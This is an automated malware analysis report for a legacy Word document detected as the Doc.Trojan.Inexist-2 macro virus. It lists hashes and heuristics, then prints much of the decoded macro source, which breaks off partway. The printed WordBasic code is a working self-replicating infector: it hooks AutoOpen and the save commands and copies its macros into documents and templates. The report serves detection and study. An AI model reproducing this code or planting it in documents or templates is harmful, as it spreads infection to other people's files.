Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0fd714457cd341d7…

MALICIOUS

Office (OLE)

49.5 KB Created: 1996-04-30 01:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2262f5900a5dae7f3a4a4d91fc3d1abc SHA-1: 536a707a3fad9058131b7f5aecf5fa38ee7e5444 SHA-256: 0fd714457cd341d7e6ea2c6bf332fef50a3922f604380df794eef4297f478143
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code automatically when the document is opened. The presence of these elements strongly indicates an intent to perform unauthorized actions, likely involving the execution of further payloads or system compromise. The ClamAV detection 'Doc.Trojan.Inexist-2' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Inexist-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Inexist-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18438 bytes
SHA-256: 18f3862b5d66d11806b77779918237bacc01fac90f66c5249a7bcb3a090e2487
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FichierEnregistrerSous"

Public Sub MAIN()
Dim l$
Dim v$
Dim m1$
Dim m2$
Dim m3$
Dim m$
Dim d$
Dim save_is_ok
Dim dlg As Object
Dim old$
Dim old_window$
Dim new_window$
'**********************************
' Warning, don't change anything.
'**********************************
On Error GoTo -1: On Error GoTo EndFichierEnregistrerSous
l$ = WordBasic.[AppInfo$](16)
v$ = WordBasic.[AppInfo$](2)
If l$ <> "Français" Or WordBasic.Val(v$) < 6 Then GoTo EndFichierEnregistrerSous
m1$ = "AutoOpen"
m2$ = "FichierEnregistrer"
m3$ = "FichierEnregistrerSous"
m$ = WordBasic.[MacroFileName$](m3$)
d$ = WordBasic.[SelectionFileName$]()
save_is_ok = 0
'If file is infected and not .dot
If (m$ = d$) And (UCase(WordBasic.[Right$](m$, 3)) <> "DOT") Then
  Set dlg = WordBasic.DialogRecord.DocumentStatistics(False)
  WordBasic.CurValues.DocumentStatistics dlg
  old$ = dlg.Template
  old_window$ = WordBasic.[WindowName$]()
  WordBasic.FileNew Template:=d$, NewTemplate:=0
  new_window$ = WordBasic.[WindowName$]()
  save_is_ok = 1

'FenDocDéplacement 6, 22
'FenDocDimension 753, 459

  WordBasic.FileTemplates Template:=old$
  WordBasic.ToolsMacro Name:=m3$, Show:=2, Run:=1
  'Close old_window$ without saving
  WordBasic.Activate old_window$
  WordBasic.FileClose 2
  save_is_ok = 2
Else
  WordBasic.ToolsMacro Name:=m3$, Show:=2, Run:=1
End If
EndFichierEnregistrerSous:
If save_is_ok = 1 Then
  WordBasic.Activate new_window$
  WordBasic.FileClose 2
End If
Err.Number = 0
On Error GoTo -1: On Error GoTo 0
End Sub

Attribute VB_Name = "FichierEnregistrer"

Public Sub MAIN()
Dim debug_
Dim l$
Dim v$
Dim m1$
Dim m2$
Dim m3$
Dim d$
Dim m$
'**********************************
' Warning, don't change anything.
'**********************************
On Error GoTo -1: On Error GoTo EndFichierEnregistrer
'Debug=0 Oui, Debug=1 Non
debug_ = 0
l$ = WordBasic.[AppInfo$](16)
v$ = WordBasic.[AppInfo$](2)
If l$ <> "Français" Or WordBasic.Val(v$) < 6 Then GoTo EndFichierEnregistrer
m1$ = "AutoOpen"
m2$ = "FichierEnregistrer"
m3$ = "FichierEnregistrerSous"
'Save files with a name
d$ = WordBasic.[SelectionFileName$]()
If (WordBasic.[Right$](d$, 1) = "\") And (WordBasic.IsMacro() = 0) Then
  WordBasic.ToolsMacro Name:=m2$, Show:=2, Run:=1
  d$ = WordBasic.[SelectionFileName$]()
End If
'Infect file
m$ = WordBasic.[MacroFileName$](m2$)
If (m$ <> d$) And (WordBasic.IsMacro() = 0) Then
  'Save file d$ as template (.Format=1)
  WordBasic.FileSaveAs Format:=1, AddToMru:=0
  'Copy macros
  WordBasic.MacroCopy m$ + ":" + m1$, d$ + ":" + m1$, debug_
  WordBasic.MacroCopy m$ + ":" + m2$, d$ + ":" + m2$, debug_
  WordBasic.MacroCopy m$ + ":" + m3$, d$ + ":" + m3$, debug_
End If
'Save the file d$ with its new macros
WordBasic.FileSave
EndFichierEnregistrer:
Err.Number = 0
On Error GoTo -1: On Error GoTo 0
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim debug_
Dim l$
Dim v$
Dim m1$
Dim m2$
Dim m3$
Dim m$
Dim i
Dim d$
Dim DotPath$
'**********************************
' Warning, don't change anything.
'**********************************
On Error Resume Next
'Debug=0 Oui, Debug=1 Non
debug_ = 0
l$ = WordBasic.[AppInfo$](16)
v$ = WordBasic.[AppInfo$](2)
If l$ <> "Français" Or WordBasic.Val(v$) < 6 Then GoTo EndAutoOpen
m1$ = "AutoOpen"
m2$ = "FichierEnregistrer"
m3$ = "FichierEnregistrerSous"
WordBasic.DisableAutoMacros 1
m$ = WordBasic.[MacroFileName$](m1$)
For i = 1 To WordBasic.CountAddIns()
  d$ = WordBasic.[GetAddInName$](i)
  'Copy macros
If MacroExist(m1$, d$) = 0 And MacroExist(m2$, d$) = 0 And MacroExist(m3$, d$) = 0 Then
    WordBasic.MacroCopy m$ + ":" + m1$, d$ + ":" + m1$, debug_
    WordBasic.MacroCopy m$ + ":" + m2$, d$ + ":" + m2$, debug_
    WordBas
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.